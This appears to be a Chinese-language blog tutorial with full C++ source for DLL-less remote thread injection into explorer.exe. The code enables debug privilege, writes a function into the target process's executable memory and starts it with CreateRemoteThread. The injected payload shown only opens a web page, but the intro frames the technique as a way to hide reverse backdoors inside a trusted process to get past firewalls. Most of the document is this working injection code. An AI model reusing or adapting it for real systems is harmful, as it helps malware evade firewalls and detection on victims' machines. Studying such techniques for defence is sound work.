簡介

        在之前的章節中，筆者曾介紹過有關於遠端執行緒注入的知識，將後門.dll檔案注入explorer.exe中實現繞過防火牆反彈後門。但一個.exe檔案總要在注入時捎上一個.dll檔案著實是怪麻煩的，那麼有沒有什麼方法能夠不適用.dll檔案實現注入呢？
        答案是有的，我們可以直接將功能寫線上程函式中，然後直接將整個函式注入，這個方法相較之於DLL注入會稍微複雜一些，適用於對一些體積比較小的程式進行注入。但是要注意動態連結庫的地址重定位問題，因為正常的檔案一般會預設載入kernel32.dll檔案，而不會載入其他DLL，且只有kernel32.dll與user32.dll檔案可以保證在本地和目的程序中的載入地址是一樣的，所以最好要在遠端執行緒函式中手動利用LoadLibrary和GetProcessAddress函式強制載入一遍DLL檔案。Visual Studio在編譯此類功能的檔案時建議關閉編譯器的“/GS”選項，還要其他需要注意的地方可參考此

程式碼實現

//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////

#include <cstdio>
#include <cstdlib>
#include <iostream>
 

#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>

#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)

using namespace std;

//遠端執行緒函式引數
typedef struct _RemoteParam
{
    CHAR szOperation[NORMAL_LENGTH];
    CHAR szAddrerss[MAX_LENGTH];
    CHAR szLb[NORMAL_LENGTH];
    CHAR szFunc[NORMAL_LENGTH];
    LPVOID lpvMLAAdress;
    LPVOID lpvMGPAAddress;
    LPVOID lpvSEAddress;
}RemoteParam;

//遠端執行緒函式（主體）
 

DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
    typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
    typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
    typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
    MLoadLibraryA MLA;
    MGetProcAddress MGPA;
    MShellExecuteA MSE;
    MLA = (MLoadLibraryA)lprp->lpvMLAAdress;
    MGPA = (MGetProcAddress)lprp->lpvMGPAAddress;
    lprp->lpvSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
    MSE = (MShellExecuteA)lprp->lpvSEAddress;
    MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
    return 0;
}

//獲取PID
DWORD GetProcessID(CHAR *ProcessName)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot error");
        return 0;
    }
    BOOL bProcess = Process32First(hProcessSnap, &pe32);
    while (bProcess)
    {
        if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
            return pe32.th32ProcessID;
        bProcess = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    return 0;
}

//獲取許可權
int EnableDebugPriv(const TCHAR *name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &hToken))
    {
        printf("OpenProcessToken Error!\n");
        return 1;
    }
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("LookupPrivilege Error!\n");
        return 1;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("AdjustTokenPrivileges Error!\n");
        return 1;
    }
    return 0;
}

//遠端執行緒注入函式
BOOL InjectProcess(const DWORD dwPid)
{
    if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
    HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (!hWnd) return FALSE;
    RemoteParam rp;
    ZeroMemory(&rp, sizeof(RemoteParam));
    rp.lpvMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
    rp.lpvMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
    StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
    StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
    StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
    StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
    RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteParam) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteThread) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
    if (!hThread) return FALSE;
    return TRUE;
}

//主函式
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    CHAR szProcName[MAX_LENGTH] = "\0";
    StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
    InjectProcess(GetProcessID(szProcName));
    ExitProcess(0);
    return 0;
}